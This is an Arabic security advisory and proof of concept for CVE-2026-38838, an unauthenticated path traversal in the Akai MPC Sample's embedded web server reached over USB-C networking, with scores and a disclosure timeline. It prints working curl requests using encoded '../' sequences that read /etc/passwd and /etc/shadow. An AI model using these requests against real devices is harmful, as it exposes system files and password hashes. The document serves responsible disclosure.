
إثبات مفهوم واستشارة أمنية للثغرة CVE-2026-38838، وهي ثغرة اجتياز مسار (CWE-22) دون مصادقة في خادم الويب المدمج في Akai MPC Sample، ويمكن الوصول إليها عبر شبكة USB-C.
| الحقل | القيمة |
|---|---|
| معرّف CVE | CVE-2026-38838 |
| المورّد | Akai Professional / inMusic Brands |
| المنتج | Akai MPC Sample |
| الإصدارات المتأثرة | مؤكّد في البرنامج الثابت v1.2.1.2 و v1.3.0.12 (الأحدث وقت الاختبار)؛ لم تُختبر الإصدارات الوسيطة |
| نوع الثغرة | اجتياز المسار (CWE-22) |
| ناقل الوصول | واجهة إيثرنت افتراضية عبر USB-C (USB CDC network gadget)؛ غير مكشوفة عبر Wi-Fi |
| درجة CVSS 3.1 | 6.5 متوسط — AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| درجة CVSS 4.0 | 7.1 مرتفع — CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N |
| إصلاح متاح | لا |
يكشف Akai MPC Sample عن واجهة ويب على http://mpc-sample.local/ عند توصيله بجهاز حاسوب مضيف عبر USB-C. يؤدي الاتصال إلى إنشاء واجهة إيثرنت افتراضية عبر USB (USB CDC network gadget)، مع إمكانية الوصول إلى الجهاز على 192.168.155.1.
يقوم خادم الويب المدمج (AZ0X Web Server/0.5.1+git9826367) بفك ترميز النسبة المئوية لمسار الطلب (percent-decoding) لكنه لا يطبّع النتيجة المفكوكة ترميزها ولا يرفضها قبل تحويلها إلى مسار على نظام الملفات. لذلك يُفكّ ترميز مسار يحتوي على %2e%2e (وهو .. مُرمّز بالنسبة المئوية) إلى ../ ويُستخدم كما هو، فيتجاوز جذر الويب المقصود. ونتيجةً لذلك، يمكن للطلبات المرسلة عبر واجهة USB-C قراءة ملفات عشوائية يمكن لعملية الخادم قراءتها، دون مصادقة.
نُفّذت الأوامر التالية من طرفية macOS بينما كان الجهاز موصولًا عبر USB-C.
قراءة /etc/passwd:
curl http://mpc-sample.local/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
الاستجابة: HTTP 200، مع إرجاع المحتوى الكامل لـ /etc/passwd.
قراءة /etc/shadow:
curl http://mpc-sample.local/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow
الاستجابة: HTTP 200، مع إرجاع المحتوى الكامل لـ /etc/shadow. عادةً لا يكون /etc/shadow قابلًا للقراءة إلا بواسطة root، مما يشير إلى أن عملية الخادم تعمل بامتيازات عالية.
ترويسات استجابة الخادم:
HTTP/1.1 200 OK
Server: AZ0X Web Server/0.5.1+git9826367
Content-Type: application/text
طالما كان اتصال USB-C نشطًا، يمكن لأي عملية على المضيف المتصل الوصول إلى خادم الويب دون مصادقة. ومن خلال اجتياز المسار يمكنه قراءة ملفات خارج جذر الويب يمكن لعملية الخادم الوصول إليها (كما هو موضّح أعلاه). لم تُحدَّد المجموعة الكاملة من الملفات القابلة للقراءة.
../، %2e%2e، إلخ)chroot أو عزل مكافئ)| التاريخ | الحدث |
|---|---|
| 2026-03-27 | اكتشاف الثغرة |
| 2026-04-08 | الإبلاغ عنها بشكل خاص إلى Akai Professional / inMusic Brands |
| 2026-04-09 | تأكيد المورّد استلام الإبلاغ |
| 2026-07-07 | انتهاء نافذة الإفصاح المسؤول البالغة 90 يومًا — لم يُصدر أي إصلاح |
| 2026-09-12 | تأكيد وجودها في أحدث برنامج ثابت v1.3.0.12 |
| 2026-09-12 | إسناد CVE-2026-38838 بواسطة MITRE |
| 2026-09-12 | إرسال إشعار نهائي إلى المورّد |
| 2026-10-17 | الإفصاح العلني |
Pawel Skokowski
اكتُشفت وأُبلغ عنها وفقًا لممارسات الإفصاح المسؤول.